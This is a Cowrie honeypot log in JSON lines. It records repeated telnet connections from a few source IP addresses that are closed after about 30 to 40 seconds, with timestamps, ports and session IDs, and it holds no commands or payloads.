{"eventid":"cowrie.session.closed","duration":37.1190402507782,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:11.360749Z","src_ip":"144.79.218.12","session":"a6cd4b4d65b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864404439926147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:11.446863Z","src_ip":"69.6.225.50","session":"428428a6bfe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":51452,"dst_ip":"10.17.0.5","dst_port":23,"session":"f22e1d6d8a23","protocol":"telnet","message":"New connection: 144.79.218.12:51452 (10.17.0.5:23) [session: f22e1d6d8a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:11.453982Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":51464,"dst_ip":"10.17.0.5","dst_port":23,"session":"876532e776db","protocol":"telnet","message":"New connection: 144.79.218.12:51464 (10.17.0.5:23) [session: 876532e776db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:12.081728Z"}
{"eventid":"cowrie.session.closed","duration":30.704002141952515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:12.087212Z","src_ip":"69.6.225.50","session":"6e1eb1734d8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51842,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a825eb8ac29","protocol":"telnet","message":"New connection: 69.6.225.50:51842 (159.203.135.109:23) [session: 8a825eb8ac29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:12.157708Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51856,"dst_ip":"159.203.135.109","dst_port":23,"session":"833cc099d3d8","protocol":"telnet","message":"New connection: 69.6.225.50:51856 (159.203.135.109:23) [session: 833cc099d3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:12.218797Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":51468,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a38663291d","protocol":"telnet","message":"New connection: 144.79.218.12:51468 (10.17.0.5:23) [session: 11a38663291d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:12.223810Z"}
{"eventid":"cowrie.session.closed","duration":30.66087508201599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:12.227263Z","src_ip":"69.6.225.50","session":"b2e53abaa729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51866,"dst_ip":"159.203.135.109","dst_port":23,"session":"11fdd5251d6c","protocol":"telnet","message":"New connection: 69.6.225.50:51866 (159.203.135.109:23) [session: 11fdd5251d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:12.484995Z"}
{"eventid":"cowrie.session.closed","duration":36.55117678642273,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:12.791973Z","src_ip":"144.79.218.12","session":"5349546458d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.353848695755005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:13.074195Z","src_ip":"69.6.225.50","session":"e85966be457c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.208460569381714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:13.079793Z","src_ip":"69.6.225.50","session":"1f79ec3b652a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51870,"dst_ip":"159.203.135.109","dst_port":23,"session":"301c5f6fac7c","protocol":"telnet","message":"New connection: 69.6.225.50:51870 (159.203.135.109:23) [session: 301c5f6fac7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:13.596483Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51876,"dst_ip":"159.203.135.109","dst_port":23,"session":"e53d88d083eb","protocol":"telnet","message":"New connection: 69.6.225.50:51876 (159.203.135.109:23) [session: e53d88d083eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:13.633187Z"}
{"eventid":"cowrie.session.closed","duration":37.20010328292847,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:14.311587Z","src_ip":"144.79.218.12","session":"98bbff17f086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51890,"dst_ip":"159.203.135.109","dst_port":23,"session":"6081ac5970ef","protocol":"telnet","message":"New connection: 69.6.225.50:51890 (159.203.135.109:23) [session: 6081ac5970ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:14.709619Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51894,"dst_ip":"159.203.135.109","dst_port":23,"session":"36d134c57d25","protocol":"telnet","message":"New connection: 69.6.225.50:51894 (159.203.135.109:23) [session: 36d134c57d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:14.842192Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":51484,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6136db21a4e","protocol":"telnet","message":"New connection: 144.79.218.12:51484 (10.17.0.5:23) [session: d6136db21a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:15.022293Z"}
{"eventid":"cowrie.session.closed","duration":30.511398553848267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:15.148242Z","src_ip":"69.6.225.50","session":"9d4ec1e4c655","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.725512742996216,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:15.781677Z","src_ip":"144.79.218.12","session":"d7ef28e79c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87749743461609,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:15.811729Z","src_ip":"144.79.218.12","session":"07dbd29f2f9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002283811569214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:16.052393Z","src_ip":"69.6.225.50","session":"423b1748d94a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45209002494812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:16.076253Z","src_ip":"69.6.225.50","session":"98baaf65f20a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611427307128906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:16.081564Z","src_ip":"69.6.225.50","session":"597f4db5bf9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99641513824463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:16.093065Z","src_ip":"69.6.225.50","session":"c797e0e22dac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.539544582366943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:16.168719Z","src_ip":"69.6.225.50","session":"c2af63a3b27d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51896,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae5212506be9","protocol":"telnet","message":"New connection: 69.6.225.50:51896 (159.203.135.109:23) [session: ae5212506be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:16.738639Z"}
{"eventid":"cowrie.session.closed","duration":30.960087060928345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:17.223767Z","src_ip":"69.6.225.50","session":"b6214677ec75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695157051086426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:17.291793Z","src_ip":"69.6.225.50","session":"75e0649715db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51898,"dst_ip":"159.203.135.109","dst_port":23,"session":"33a53683f2e2","protocol":"telnet","message":"New connection: 69.6.225.50:51898 (159.203.135.109:23) [session: 33a53683f2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:17.390553Z"}
{"eventid":"cowrie.session.closed","duration":30.702068328857422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:17.510704Z","src_ip":"69.6.225.50","session":"7375b3e6671f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.558786153793335,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:18.277782Z","src_ip":"144.79.218.12","session":"059bf3de5796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57838,"dst_ip":"159.203.135.109","dst_port":23,"session":"acdd147aff4f","protocol":"telnet","message":"New connection: 69.6.225.50:57838 (159.203.135.109:23) [session: acdd147aff4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:18.396878Z"}
{"eventid":"cowrie.session.closed","duration":32.16899919509888,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:18.466904Z","src_ip":"144.79.218.12","session":"3fbd9ed635ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.730395555496216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:19.051728Z","src_ip":"69.6.225.50","session":"be09f9082435","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57826,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f6d1596d915","protocol":"telnet","message":"New connection: 69.6.225.50:57826 (159.203.135.109:23) [session: 9f6d1596d915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:19.082419Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57848,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e5ec837ba64","protocol":"telnet","message":"New connection: 69.6.225.50:57848 (159.203.135.109:23) [session: 6e5ec837ba64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:19.344747Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33546,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1cbaa5ae5f5","protocol":"telnet","message":"New connection: 144.79.218.12:33546 (10.17.0.5:23) [session: d1cbaa5ae5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:19.458694Z"}
{"eventid":"cowrie.session.closed","duration":34.47388577461243,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:19.736306Z","src_ip":"144.79.218.12","session":"dbf9c52738c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57850,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe75a1f10a82","protocol":"telnet","message":"New connection: 69.6.225.50:57850 (159.203.135.109:23) [session: fe75a1f10a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:19.763009Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57860,"dst_ip":"159.203.135.109","dst_port":23,"session":"febe134660a3","protocol":"telnet","message":"New connection: 69.6.225.50:57860 (159.203.135.109:23) [session: febe134660a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:19.964656Z"}
{"eventid":"cowrie.session.closed","duration":30.35797619819641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:20.064816Z","src_ip":"69.6.225.50","session":"981c68c3b748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.0083065032959,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:20.250405Z","src_ip":"144.79.218.12","session":"1df8be578d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57874,"dst_ip":"159.203.135.109","dst_port":23,"session":"84850327119a","protocol":"telnet","message":"New connection: 69.6.225.50:57874 (159.203.135.109:23) [session: 84850327119a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:20.405746Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57876,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4c7415cbbbb","protocol":"telnet","message":"New connection: 69.6.225.50:57876 (159.203.135.109:23) [session: b4c7415cbbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:20.639005Z"}
{"eventid":"cowrie.session.closed","duration":30.42813205718994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:21.232207Z","src_ip":"69.6.225.50","session":"33c08fa62211","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.56946349143982,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:21.468115Z","src_ip":"144.79.218.12","session":"7ab250f13ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57882,"dst_ip":"159.203.135.109","dst_port":23,"session":"35913328ffcb","protocol":"telnet","message":"New connection: 69.6.225.50:57882 (159.203.135.109:23) [session: 35913328ffcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:22.104182Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33548,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa3d8e46fbe4","protocol":"telnet","message":"New connection: 144.79.218.12:33548 (10.17.0.5:23) [session: aa3d8e46fbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:22.447503Z"}
{"eventid":"cowrie.session.closed","duration":34.040125131607056,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:22.512678Z","src_ip":"144.79.218.12","session":"97cc0fa96b5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.02512049674988,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:22.527234Z","src_ip":"144.79.218.12","session":"fb97f9c567ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18406558036804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:22.687204Z","src_ip":"144.79.218.12","session":"4fa409f2b9d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.47790837287903,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:22.753731Z","src_ip":"144.79.218.12","session":"80d036d0d3f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57884,"dst_ip":"159.203.135.109","dst_port":23,"session":"f697b8cdf591","protocol":"telnet","message":"New connection: 69.6.225.50:57884 (159.203.135.109:23) [session: f697b8cdf591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:22.762264Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57900,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d82653cd829","protocol":"telnet","message":"New connection: 69.6.225.50:57900 (159.203.135.109:23) [session: 3d82653cd829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:23.395853Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33560,"dst_ip":"10.17.0.5","dst_port":23,"session":"a560d1608f0d","protocol":"telnet","message":"New connection: 144.79.218.12:33560 (10.17.0.5:23) [session: a560d1608f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:23.410124Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33574,"dst_ip":"10.17.0.5","dst_port":23,"session":"fafe63ff91a2","protocol":"telnet","message":"New connection: 144.79.218.12:33574 (10.17.0.5:23) [session: fafe63ff91a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:23.490510Z"}
{"eventid":"cowrie.session.closed","duration":30.491621732711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:24.059386Z","src_ip":"69.6.225.50","session":"2b16d40cb07f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57908,"dst_ip":"159.203.135.109","dst_port":23,"session":"898f9207a7e1","protocol":"telnet","message":"New connection: 69.6.225.50:57908 (159.203.135.109:23) [session: 898f9207a7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:24.351283Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57914,"dst_ip":"159.203.135.109","dst_port":23,"session":"469336c82b9d","protocol":"telnet","message":"New connection: 69.6.225.50:57914 (159.203.135.109:23) [session: 469336c82b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:24.614312Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33578,"dst_ip":"10.17.0.5","dst_port":23,"session":"82513ff5a067","protocol":"telnet","message":"New connection: 144.79.218.12:33578 (10.17.0.5:23) [session: 82513ff5a067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:24.814843Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57920,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c31bc2d92fb","protocol":"telnet","message":"New connection: 69.6.225.50:57920 (159.203.135.109:23) [session: 8c31bc2d92fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:25.081923Z"}
{"eventid":"cowrie.session.closed","duration":30.607929468154907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:25.114701Z","src_ip":"69.6.225.50","session":"64968aa9c0b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.276524543762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:25.225464Z","src_ip":"69.6.225.50","session":"af885e538e90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57926,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c0a8152222","protocol":"telnet","message":"New connection: 69.6.225.50:57926 (159.203.135.109:23) [session: 02c0a8152222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:25.318952Z"}
{"eventid":"cowrie.session.closed","duration":30.36205554008484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:26.063994Z","src_ip":"69.6.225.50","session":"bebd794323ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":39502,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e67cfd3da41","protocol":"telnet","message":"New connection: 5.61.90.139:39502 (10.17.0.5:23) [session: 1e67cfd3da41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:26.313813Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57942,"dst_ip":"159.203.135.109","dst_port":23,"session":"41794dde3db4","protocol":"telnet","message":"New connection: 69.6.225.50:57942 (159.203.135.109:23) [session: 41794dde3db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:26.357461Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57958,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbfb71db3c4d","protocol":"telnet","message":"New connection: 69.6.225.50:57958 (159.203.135.109:23) [session: bbfb71db3c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:26.457099Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57968,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e7fd4415a78","protocol":"telnet","message":"New connection: 69.6.225.50:57968 (159.203.135.109:23) [session: 3e7fd4415a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:27.270570Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57984,"dst_ip":"159.203.135.109","dst_port":23,"session":"314d7e3d8704","protocol":"telnet","message":"New connection: 69.6.225.50:57984 (159.203.135.109:23) [session: 314d7e3d8704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:27.443397Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33584,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf72f2a6373","protocol":"telnet","message":"New connection: 144.79.218.12:33584 (10.17.0.5:23) [session: 4cf72f2a6373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:27.613896Z"}
{"eventid":"cowrie.session.closed","duration":32.22480893135071,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:27.683165Z","src_ip":"144.79.218.12","session":"026dbfdad0e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57992,"dst_ip":"159.203.135.109","dst_port":23,"session":"4013f5aa5be4","protocol":"telnet","message":"New connection: 69.6.225.50:57992 (159.203.135.109:23) [session: 4013f5aa5be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:27.806370Z"}
{"eventid":"cowrie.session.closed","duration":41.39988994598389,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:27.985799Z","src_ip":"5.61.90.139","session":"8097c6c9abab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33596,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9ceb0977b5","protocol":"telnet","message":"New connection: 144.79.218.12:33596 (10.17.0.5:23) [session: ce9ceb0977b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:28.139432Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57102,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb0158a0e747","protocol":"telnet","message":"New connection: 69.6.225.50:57102 (159.203.135.109:23) [session: bb0158a0e747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:28.227005Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57114,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d9d8ed1e1a8","protocol":"telnet","message":"New connection: 69.6.225.50:57114 (159.203.135.109:23) [session: 8d9d8ed1e1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:28.269351Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57122,"dst_ip":"159.203.135.109","dst_port":23,"session":"31f72275898b","protocol":"telnet","message":"New connection: 69.6.225.50:57122 (159.203.135.109:23) [session: 31f72275898b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:28.484857Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33606,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b446e05af30","protocol":"telnet","message":"New connection: 144.79.218.12:33606 (10.17.0.5:23) [session: 4b446e05af30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:28.880677Z"}
